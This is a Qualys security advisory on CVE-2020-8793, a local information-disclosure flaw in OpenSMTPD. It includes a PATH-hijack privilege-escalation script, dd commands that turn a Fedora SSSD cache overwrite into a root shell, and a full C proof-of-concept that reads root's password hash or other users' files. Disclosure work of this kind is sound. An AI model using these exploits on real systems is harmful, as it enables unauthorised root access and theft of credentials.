Qualys Security Advisory

Local information disclosure in OpenSMTPD (CVE-2020-8793)


==============================================================================
Contents
==============================================================================

Summary
Analysis
Exploitation
POKE 47196, 201
Acknowledgments


==============================================================================
Summary
==============================================================================

We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server:
an unprivileged local attacker can read the first line of an arbitrary
file (for example, root's password hash in /etc/master.passwd) or the
entire contents of another user's file (if this file and
/var/spool/smtpd/ are on the same filesystem).

We developed a proof of concept and successfully tested it against
OpenBSD 6.6 (the current release). This vulnerability is generally not
exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by
default on most distributions. Surprisingly, however, it is exploitable
on Fedora (31) and yields full root privileges.


==============================================================================
Analysis
==============================================================================

In October 2015 we published the results of an exhaustive OpenSMTPD
audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt);
one of our key findings was:

------------------------------------------------------------------------------
Multiple hardlink attacks in the offline directory
...

In the world-writable "/var/spool/smtpd/offline" directory, local users
can create hardlinks to files they do not own, and wait until the server
reboots (or, crash OpenSMTPD with a denial-of-service and wait until the
administrator restarts it) to carry out assorted attacks.
...

2/ The following code in offline_enqueue() allows an attacker to
execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument
that is the hardlinked file's first line (CVE-2015-ABCD):
...

For example, an attacker can hardlink /etc/master.passwd to the offline
directory, and retrieve its first line (root's encrypted password) by
running ps (or a small program that simply calls sysctl() with
KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop:
...

4/ If an attacker is able to reach another user's file (i.e., +x on all
directories that lead to the file) but not read it, he can hardlink the
file to the offline directory, and wait for savedeadletter() to create a
world-readable copy of the file in this other user's home directory:
------------------------------------------------------------------------------

OpenBSD's patch for this vulnerability was threefold:

a/ They removed the world-writable and sticky bits from
/var/spool/smtpd/offline, changed its group to "_smtpq", and made
/usr/sbin/smtpctl set-group-ID _smtpq:

------------------------------------------------------------------------------
drwxrwx---  2 root  _smtpq     512 Oct 12 10:34 /var/spool/smtpd/offline
-r-xr-sr-x  1 root  _smtpq  217736 Oct 12 10:34 /usr/sbin/smtpctl
------------------------------------------------------------------------------

b/ They added an _smtpq group check to offline_scan():

------------------------------------------------------------------------------
1543                 /* offline file group must match parent directory group */
1544                 if (e->fts_statp->st_gid != 
e->fts_parent->fts_statp->st_gid)
1545                         continue;
....
1553                 if (offline_add(e->fts_name)) {
1554                         log_warnx("warn: smtpd: "
1555                             "could not add offline message %s", 
e->fts_name);
1556                         continue;
1557                 }
------------------------------------------------------------------------------

This check (at line 1544) effectively prevents offline_scan() from
adding the filename of a hardlink to the offline queue (at line 1553),
because no interesting file on the filesystem belongs to the group
_smtpq.

c/ They added a hardlink check to offline_enqueue() (at line 1631),
which is called by offline_add():

------------------------------------------------------------------------------
1615                 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == 
-1) {
1616                         log_warn("warn: smtpd: open: %s", path);
1617                         _exit(1);
1618                 }
1619
1620                 if (fstat(fd, &sb) == -1) {
1621                         log_warn("warn: smtpd: fstat: %s", path);
1622                         _exit(1);
1623                 }
....
1631                 if (sb.st_nlink != 1) {
1632                         log_warnx("warn: smtpd: file %s is hard-link", 
path);
1633                         _exit(1);
1634                 }
------------------------------------------------------------------------------

Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into
the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check
to time-of-use) race conditions. As a result, a local attacker can still
carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter)
described in our 2015 audit report.


==============================================================================
Exploitation
==============================================================================

a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and
specify a "-bi" command-line argument, then smtpctl calls execlp()
without dropping its privileges:

------------------------------------------------------------------------------
147         /* sendmail-compat makemap ... re-execute using proper interface */
148         if (argc == 2) {
...
164                 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, 
"-",
165                     (char *)NULL);
166                 err(1, "execlp");
167         }
------------------------------------------------------------------------------

We can exploit this execlp() call by specifying our own PATH environment
variable, and obtain the privileges of the group _smtpq:

------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ln -s /usr/sbin/smtpctl "send-mail"

$ cat > makemap << "EOF"
#!/bin/ksh
echo "$@"
exec /usr/bin/env -i /bin/ksh
EOF

$ chmod 0755 makemap

$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
------------------------------------------------------------------------------

b/ The _smtpq group check is made only once in offline_scan(), but not
again in offline_enqueue() (which actually open()s the offline files).
Moreover, at most five offline files are processed concurrently; the
remaining files are simply added to the offline queue for later
processing. We can reliably win this first race condition:

- we create several large but sparse files (1GB each) in the offline
  directory (these files naturally pass the _smtpq group check);

- we SIGSTOP five of the offline_enqueue() processes that open() and
  slowly read() our large files;

- we wait until offline_scan() adds all of our remaining files to the
  offline queue;

- we replace these files with hardlinks to an interesting target file
  (for example, /etc/master.passwd);

- we SIGKILL the five stopped offline_enqueue() processes.

Finally, our hardlinks are processed by offline_enqueue(), and the
_smtpq group check is defeated.

c/ To defeat the hardlink check in offline_enqueue(), we create our
hardlink before the open() call at line 1615 (this increases st_nlink to
2), and delete it before the fstat() call at line 1620 (this decreases
st_nlink back to 1). In practice, we win this tight race condition after
just a few tries: our proof of concept fork()s a dedicated process that
simply calls link() and unlink() in a loop.

Moreover, if our target file is /etc/master.passwd, we can defeat the
hardlink check without a race: we hardlink /etc/master.passwd into the
offline directory (this increases st_nlink to 2), we run /usr/bin/passwd
or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases
st_nlink back to 1), and finally we SIGKILL the five stopped
offline_enqueue() processes.

------------------------------------------------------------------------------

For example, to read the first line of /etc/master.passwd (root's
password hash) with our proof of concept:

- First, on the attacker's terminal:

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)

$ ./proof-of-concept 20
...
ready

- Next, on the administrator's terminal:

# rcctl restart smtpd
smtpd(ok)
smtpd(ok)

- Last, on the attacker's terminal:

...
root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie
 &:/root:/bin/ksh

------------------------------------------------------------------------------

To read the entire contents of another user's file (for example,
/home/admin/deep.secret) with our proof of concept:

- First, on the attacker's terminal:

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)

$ ls -l /home/admin/deep.secret
----------  1 admin  admin  125 Feb 15 00:52 /home/admin/deep.secret

$ cat /home/admin/deep.secret
cat: /home/admin/deep.secret: Permission denied

$ ./proof-of-concept 100 /home/admin/deep.secret
...
ready

- Next, on the administrator's terminal:

# rcctl restart smtpd
smtpd(ok)
smtpd(ok)

- Last, on the attacker's terminal:

...
This is the contents of the deep.secret file.  Only root may see this file.
-rw-r--r--  1 admin  admin  132 Feb 15 01:21 /home/admin/dead.letter

$ cat /home/admin/dead.letter
From: admin <ad...@obsd66.my.domain>
Date: Sat, 15 Feb 2020 01:21:03 -0700 (MST)

secret 2
secret 3
end of secret file deep.secret


==============================================================================
POKE 47196, 201
==============================================================================

On Linux, this vulnerability is generally not exploitable because
/proc/sys/fs/protected_hardlinks prevents attackers from creating
hardlinks to files they do not own. On Fedora 31, however, smtpctl is
set-group-ID root, not set-group-ID smtpq:

------------------------------------------------------------------------------
-r-xr-sr-x. 1 root root 303368 Jul 26  2019 /usr/sbin/smtpctl
------------------------------------------------------------------------------

Surprisingly, we were able to exploit this mistake and obtain full root
privileges:

- First, we exploited the Local Privilege Escalation in smtpctl to
  obtain the privileges of the group root:

------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john) context=...

$ ln -s /usr/sbin/smtpctl "send-mail"

$ cat > makemap << "EOF"
#!/bin/bash -p
echo "$@"
exec /usr/bin/env -i /bin/bash -p
EOF

$ chmod 0755 makemap

$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -

$ id
uid=1001(john) gid=1001(john) egid=0(root) groups=0(root),1001(john) context=...
------------------------------------------------------------------------------

- Next, we searched for files that belong to the group root, are
  group-writable, but not world-writable:

------------------------------------------------------------------------------
$ find / -group root -perm -020 '!' -perm -02 -ls
  ...
  4811008      0 drwxrwxr-x   2  root     root           51 Feb 15 17:49 
/var/lib/sss/mc
  4811064   8212 -rw-rw-r--   1  root     root      8406312 Feb 15 18:58 
/var/lib/sss/mc/passwd
  4810978   6260 -rw-rw-r--   1  root     root      6406312 Feb 15 18:58 
/var/lib/sss/mc/group
  ...
------------------------------------------------------------------------------

- Intrigued ("sss" stands for "System Security Services"), we dumped the
  contents of /var/lib/sss/mc/passwd:

------------------------------------------------------------------------------
$ hexdump -C /var/lib/sss/mc/passwd
...
00000060  10 00 00 00 e9 03 00 00  e9 03 00 00 1d 00 00 00  |................|
00000070  6a 6f 68 6e 00 78 00 00  2f 68 6f 6d 65 2f 6a 6f  |john.x../home/jo|
00000080  68 6e 00 2f 62 69 6e 2f  62 61 73 68 00 ff ff ff  |hn./bin/bash....|
...
------------------------------------------------------------------------------

- Feeling adventurous, we overwrote "e9 03 00 00" (1001, our user-ID)
  with zeros (root's user-ID):

------------------------------------------------------------------------------
$ dd if=/dev/zero of=/var/lib/sss/mc/passwd bs=1 seek=$((0x64)) count=4 
conv=notrunc
4+0 records in
4+0 records out
------------------------------------------------------------------------------

- Last, we executed su to re-authenticate as ourselves (as user john),
  but obtained a root shell instead:

------------------------------------------------------------------------------
$ su -l john
Password:

# id
uid=0(root) gid=1001(john) groups=1001(john) context=...
------------------------------------------------------------------------------

Last-minute note: on February 9, 2020, opensmtpd-6.6.2p1-1.fc31 was
released and correctly made smtpctl set-group-ID smtpq, instead of
set-group-ID root.


==============================================================================
Acknowledgments
==============================================================================

We thank OpenBSD's developers, Todd Miller in particular, for their
quick response and patches. We also thank Solar Designer and MITRE's CVE
Assignment Team.



[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>



This message may contain confidential and privileged information. If it has 
been sent to you in error, please reply to advise the sender of the error and 
then immediately delete it. If you are not the intended recipient, do not read, 
copy, disclose or otherwise use this message. The sender disclaims any 
liability for such unauthorized use. NOTE that all incoming emails sent to 
Qualys email accounts will be archived and may be scanned by us and/or by 
external service providers to detect and prevent threats to our systems, 
investigate illegal or inappropriate behavior, and/or eliminate unsolicited 
promotional emails (“spam”). If you have any concerns about this process, 
please contact us.
/*
 * Local information disclosure in OpenSMTPD (CVE-2020-8793)
 * Copyright (C) 2020 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#include <sys/types.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <fts.h>
#include <limits.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define P_SUSPSIG       0x08000000      /* Stopped from signal. */

#define PATH_SPOOL              "/var/spool/smtpd"
#define PATH_OFFLINE            "/offline"
#define OFFLINE_QUEUEMAX        5

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char * const *
create_files(const size_t n_files)
{
    size_t f;
    for (f = 0; f < n_files; f++) {
        char file[] = PATH_SPOOL PATH_OFFLINE "/0.XXXXXXXXXX";
        const int fd = mkstemp(file);
        if (fd <= -1) die();

        if (file[sizeof(file)-1] != '\0') die();
        file[sizeof(file)-1] = '\n';
        if (write(fd, file, sizeof(file)) != (ssize_t)sizeof(file)) die();
        if (close(fd) != 0) die();
    }

    const char ** const files = calloc(n_files, sizeof(char *));
    if (files == NULL) die();

    char * const paths[] = { PATH_SPOOL PATH_OFFLINE, NULL };
    FTS * const fts = fts_open(paths, FTS_PHYSICAL | FTS_NOCHDIR, NULL);
    if (fts == NULL) die();

    for (f = 0; ; ) {
        const FTSENT * const ent = fts_read(fts);
        if (ent == NULL) break;
        if (ent->fts_name[0] != '0') continue;
        if (ent->fts_name[1] != '.') continue;

        if (ent->fts_info != FTS_F) die();
        if (ent->fts_level != 1) die();
        if (ent->fts_statp->st_gid != ent->fts_parent->fts_statp->st_gid) die();
        if (ent->fts_statp->st_size <= 0) die();

        const char * const file = strdup(ent->fts_path);
        if (file == NULL) die();
        if (f >= n_files) die();
        files[f++] = file;
    }
    if (f != n_files) die();
    if (fts_close(fts) != 0) die();

    if (truncate(files[n_files - 1], 0) != 0) die();
    return files;
}

static void
wait_sentinel(const char * const * const files, const size_t n_files)
{
    for (;;) {
        struct stat sb;
        if (lstat(files[n_files - 1], &sb) != 0) {
            if (errno != ENOENT) die();
            return;
        }
        if (!S_ISREG(sb.st_mode)) die();
        if (sb.st_size != 0) die();
    }
    die();
}

static void
kill_wait(const pid_t pid)
{
    if (kill(pid, SIGKILL) != 0) die();

    int status = 0;
    if (waitpid(pid, &status, 0) != pid) die();
    if (!WIFSIGNALED(status)) die();
    if (WTERMSIG(status) != SIGKILL) die();
}

typedef struct {
    int stop;
    pid_t pid;
    int fd;
} t_stopper;

static t_stopper
fork_stopper(const uid_t uid)
{
    const int stop = (uid == getuid());

    int fds[2];
    if (pipe(fds) != 0) die();
    const pid_t pid = fork();
    if (pid <= -1) die();

    const int fd = fds[!pid];
    if (close(fds[!!pid]) != 0) die();

    if (pid != 0) {
        const t_stopper stopper = { .stop = stop, .pid = pid, .fd = fd };
        return stopper;
    }

    int proc_mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_RUID, uid, sizeof(struct 
kinfo_proc), 0 };
    size_t proc_len = 0;
    if (sysctl(proc_mib, 6, NULL, &proc_len, NULL, 0) == -1) die();
    if (proc_len <= 0) proc_len = sizeof(struct kinfo_proc);
    if (proc_len > ((size_t)1 << 20)) die();

    const size_t proc_max = 0x10 * proc_len;
    void * const proc_buf = malloc(proc_max);
    if (proc_buf == NULL) die();
    if (proc_mib[5] != 0) die();
    proc_mib[5] = proc_max / sizeof(struct kinfo_proc);

    for (;;) {
        proc_len = proc_max;
        if (sysctl(proc_mib, 6, proc_buf, &proc_len, NULL, 0) == -1) die();
        if (proc_len <= 0) {
            if (stop) die();
            continue;
        }
        if (proc_len >= proc_max) die();

        const struct kinfo_proc * kp;
        if (proc_len % sizeof(*kp) != 0) die();
        for (kp = proc_buf; kp != proc_buf + proc_len; kp++) {
            if (*(const uint64_t *)kp->p_comm != *(const uint64_t *)"smtpctl") 
continue;
            if (kp->p_flag & P_SUSPSIG) continue;

            const pid_t pid = kp->p_pid;
            if (stop && kill(pid, SIGSTOP) != 0) continue;

            const int argv_mib[] = { CTL_KERN, KERN_PROC_ARGS, pid, 
KERN_PROC_ARGV };
            static char argv_buf[ARG_MAX];
            size_t argv_len = sizeof(argv_buf);
            if (sysctl(argv_mib, 4, argv_buf, &argv_len, NULL, 0) == -1) {
                continue;
            }
            if (argv_len <= sizeof(char *)) {
                if (stop) die();
                continue;
            }
            if (argv_len >= sizeof(argv_buf)) die();

            const char * const * const av = (const void *)argv_buf;
            size_t ac;
            for (ac = 0; av[ac] != NULL; ac++) {
                switch (ac) {
                case 0:
                    if (strcmp(av[ac], "sendmail") != 0) die();
                    continue;
                case 1:
                    if (strcmp(av[ac], "-S") != 0) die();
                    continue;
                case 2:
                    if (stop) {
                        if (strncmp(av[ac], PATH_SPOOL PATH_OFFLINE,
                                     sizeof(PATH_SPOOL PATH_OFFLINE)-1) != 0) 
die();
                        static const char ** stopped;
                        static size_t i_stopped, n_stopped;

                        size_t i;
                        for (i = 0; i < i_stopped; i++) {
                            if (strcmp(av[ac], stopped[i]) == 0) break;
                        }
                        if (i < i_stopped) break;
                        if (i != i_stopped) die();

                        if (i_stopped >= n_stopped) {
                            if (i_stopped != n_stopped) die();
                            if (n_stopped > ((size_t)1 << 20)) die();
                            n_stopped += ((size_t)1 << 10);
                            stopped = reallocarray(stopped, n_stopped, 
sizeof(*stopped));
                            if (stopped == NULL) die();
                        }
                        if (i_stopped >= n_stopped) die();
                        stopped[i_stopped] = strdup(av[ac]);
                        if (stopped[i_stopped] == NULL) die();
                        i_stopped++;
                    }
                    const size_t len = strlen(av[ac]) + 1;
                    if (write(fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) 
die();
                    if (write(fd, av[ac], len) != (ssize_t)len) die();
                    break;
                default:
                    die();
                }
                break;
            }
        }
    }
    die();
}

static void
kill_stopper(const t_stopper stopper)
{
    kill_wait(stopper.pid);
    if (close(stopper.fd) != 0) die();
}

typedef struct {
    int kill;
    pid_t pid;
    char * args;
} t_stopped;

static t_stopped
wait_stopped(const t_stopper stopper)
{
    pid_t pid = 0;
    if (read(stopper.fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die();
    if (pid <= 0) die();

    static char buf[ARG_MAX];
    size_t len = 0;
    for (;;) {
        if (len >= sizeof(buf)) die();
        const ssize_t nbr = read(stopper.fd, buf + len, 1);
        if (nbr <= 0) die();
        len += nbr;
        if (buf[len - 1] == '\0') break;
    }
    if (len <= 0) die();
    if (memchr(buf, '\0', len) != buf + len - 1) die();

    char * const args = strdup(buf);
    if (args == NULL) die();
    const t_stopped stopped = { .kill = stopper.stop, .pid = pid, .args = args 
};
    return stopped;
}

static void
kill_free_stopped(const t_stopped stopped)
{
    if (stopped.kill && kill(stopped.pid, SIGKILL) != 0) die();
    free(stopped.args);
}

static void
make_stopper_file(const char * const file)
{
    const off_t file_size = (off_t)1 << 30;
    const off_t line_size = (off_t)1 << 20;

    struct stat sb;
    if (lstat(file, &sb) != 0) die();
    if (!S_ISREG(sb.st_mode)) die();
    if (sb.st_size <= 0) die();
    if (sb.st_size >= line_size) {
        if (sb.st_size > file_size) return;
        die();
    }

    const int fd = open(file, O_WRONLY | O_NOFOLLOW, 0);
    if (fd <= -1) die();
    off_t l;
    for (l = 1; l <= file_size / line_size; l++) {
        if (lseek(fd, line_size, SEEK_END) <= l * line_size) die();
        if (write(fd, "\n", 1) != 1) die();
    }
    if (close(fd) != 0) die();
}

static size_t
find_stopped_file(const char * const * const files, const size_t n_files,
    const t_stopped stopped)
{
    size_t f;
    for (f = 0; f < n_files; f++) {
        if (strcmp(files[f], stopped.args) == 0) {
            if (f >= n_files - 1) die();
            return f;
        }
    }
    die();
}

static void
disclose_masterpasswd(const size_t n_files)
{
    if (getuid() == 0) die();
    const char * const * const files = create_files(n_files);
    size_t i;
    for (i = 0; i < n_files - 1; i++) {
        make_stopper_file(files[i]);
    }

    t_stopped queue_stopped[OFFLINE_QUEUEMAX];
    size_t t = 0;
    size_t q;
    const t_stopper queue_stopper = fork_stopper(getuid());
    puts("ready");

    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        queue_stopped[q] = wait_stopped(queue_stopper);
        const size_t f = find_stopped_file(files, n_files, queue_stopped[q]);
        printf("%zu (%zu)\n", f, q);
        if (f >= t) t = f + 1;
    }
    kill_stopper(queue_stopper);
    if (t < OFFLINE_QUEUEMAX) die();
    if (t >= n_files - 1) die();

    wait_sentinel(files, n_files);

    for (i = 0; i < n_files - 1; i++) {
        if (unlink(files[i]) != 0) die();
        if (i < t) continue;
        if (link(_PATH_MASTERPASSWD, files[i]) != 0) die();

        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            char * const argv[] = { "/usr/bin/chpass", NULL };
            char * const envp[] = { "EDITOR=echo '#' >>", NULL };
            execve(argv[0], argv, envp);
            die();
        }

        int status = 0;
        if (waitpid(pid, &status, 0) != pid) die();
        if (!WIFEXITED(status)) die();
        if (WEXITSTATUS(status) != 0) die();

        struct stat sb;
        if (lstat(files[i], &sb) != 0) die();
        if (!S_ISREG(sb.st_mode)) die();
        if (sb.st_nlink != 1) die();
        if (sb.st_uid != 0) die();
    }

    const t_stopper target_dumper = fork_stopper(0);
    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        kill_free_stopped(queue_stopped[q]);
    }
    const t_stopped target_dump = wait_stopped(target_dumper);
    puts(target_dump.args);
    kill_free_stopped(target_dump);
    kill_stopper(target_dumper);

    for (i = t; i < n_files - 1; i++) {
        if (unlink(files[i]) != 0) die();
    }
    exit(EXIT_SUCCESS);
}

static void
make_stopper_files(const char * const * const files, const size_t n_files,
    const size_t begin_stoppers, const size_t n_stoppers)
{
    if (begin_stoppers >= n_files) die();
    if (n_stoppers > OFFLINE_QUEUEMAX) die();

    const size_t end_stoppers = begin_stoppers + 3 * n_stoppers;
    if (end_stoppers >= n_files) die();

    size_t f;
    for (f = begin_stoppers; f < end_stoppers; f++) {
        make_stopper_file(files[f]);
    }
}

typedef struct {
    pid_t pid;
    int fd;
} t_swapper;

static t_swapper
fork_swapper(const char * const target, const char * const file)
{
    struct stat sb;
    if (lstat(target, &sb) != 0) die();
    if (!S_ISREG(sb.st_mode)) die();
    if (sb.st_nlink != 1) die();

    int fds[2];
    if (pipe(fds) != 0) die();
    const pid_t pid = fork();
    if (pid <= -1) die();

    const int fd = fds[!pid];
    if (close(fds[!!pid]) != 0) die();

    if (pid != 0) {
        const t_swapper swapper = { .pid = pid, .fd = fd };
        return swapper;
    }

    if (unlink(file) != 0) die();
    if (write(fd, "A", 1) != 1) die();

    for (;;) {
        if (link(target, file) != 0) die();
        if (unlink(file) != 0) die();
    }
    die();
}

static void
wait_swapper(const t_swapper swapper)
{
    char buf[] = "whatever";
    if (read(swapper.fd, buf, sizeof(buf)) != 1) die();
    if (buf[0] != 'A') die();
}

static void
kill_swapper(const t_swapper swapper)
{
    kill_wait(swapper.pid);
    if (close(swapper.fd) != 0) die();
}

static void
disclose_deadletter(const size_t n_files, const char * const target)
{
    struct stat target_sb;
    if (target[0] != '/') die();
    if (lstat(target, &target_sb) != 0) die();
    if (!S_ISREG(target_sb.st_mode)) die();
    if (target_sb.st_nlink != 1) die();

    const uid_t target_uid = target_sb.st_uid;
    if (target_uid == getuid()) die();
    const struct passwd * const target_pw = getpwuid(target_uid);
    if (target_pw == NULL) die();

    static char deadletter[PATH_MAX];
    snprintf(deadletter, sizeof(deadletter), "%s/dead.letter", 
target_pw->pw_dir);
    struct stat deadletter_sb;
    if (lstat(deadletter, &deadletter_sb) != 0) {
        if (errno != ENOENT) die();
        memset(&deadletter_sb, 0, sizeof(deadletter_sb));
    }

    const char * const * const files = create_files(n_files);
    make_stopper_files(files, n_files, 0, OFFLINE_QUEUEMAX);
    const t_stopper queue_stopper = fork_stopper(getuid());
    puts("ready");

    t_stopped queue_stopped[OFFLINE_QUEUEMAX];
    size_t t = 0;
    size_t q;
    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        queue_stopped[q] = wait_stopped(queue_stopper);
        const size_t f = find_stopped_file(files, n_files, queue_stopped[q]);
        printf("%zu (%zu)\n", f, q);
        if (f >= t) t = f + 1;
    }
    if (t < OFFLINE_QUEUEMAX) die();
    if (t >= n_files - 1) die();

    size_t i;
    for (i = 0; i < t; i++) {
        if (unlink(files[i]) != 0) die();
    }

    wait_sentinel(files, n_files);
    const t_stopper target_dumper = fork_stopper(target_uid);

    for (;;) {
        make_stopper_files(files, n_files, t + 1, 1);
        const t_swapper swapper = fork_swapper(target, files[t]);
        wait_swapper(swapper);
        kill_free_stopped(queue_stopped[0]);
        queue_stopped[0] = wait_stopped(queue_stopper);
        kill_swapper(swapper);

        const size_t f = find_stopped_file(files, n_files, queue_stopped[0]);
        printf("%zu\n", f);
        if (f <= t) die();
        for (i = t; i <= f; i++) {
            if (unlink(files[i]) != 0) {
                if (errno != ENOENT) die();
                if (i != t) die();
            }
        }
        t = f + 1;

        struct stat sb;
        if (lstat(deadletter, &sb) != 0) {
            if (errno != ENOENT) die();
            memset(&sb, 0, sizeof(sb));
        }
        if (memcmp(&sb, &deadletter_sb, sizeof(sb)) != 0) break;
    }
    kill_stopper(queue_stopper);

    const t_stopped target_dump = wait_stopped(target_dumper);
    puts(target_dump.args);
    kill_free_stopped(target_dump);
    kill_stopper(target_dumper);

    for (i = t; i < n_files - 1; i++) {
        if (unlink(files[i]) != 0) die();
    }
    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        kill_free_stopped(queue_stopped[q]);
    }

    char * const argv[] = { "/bin/ls", "-l", deadletter, NULL };
    char * const envp[] = { NULL };
    execve(argv[0], argv, envp);
    die();
}

int
main(const int argc, const char * const argv[])
{
    setlinebuf(stdout);
    puts("Local information disclosure in OpenSMTPD (CVE-2020-8793)");
    puts("Copyright (C) 2020 Qualys, Inc.");

    if (argc <= 1) die();
    const size_t n_files = strtoul(argv[1], NULL, 0);
    if (n_files <= OFFLINE_QUEUEMAX) die();
    if (n_files > ((size_t)1 << 20)) die();

    if (argc == 2) {
        disclose_masterpasswd(n_files);
        die();
    }
    if (argc == 3) {
        disclose_deadletter(n_files, argv[2]);
        die();
    }
    die();
}
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Reply via email to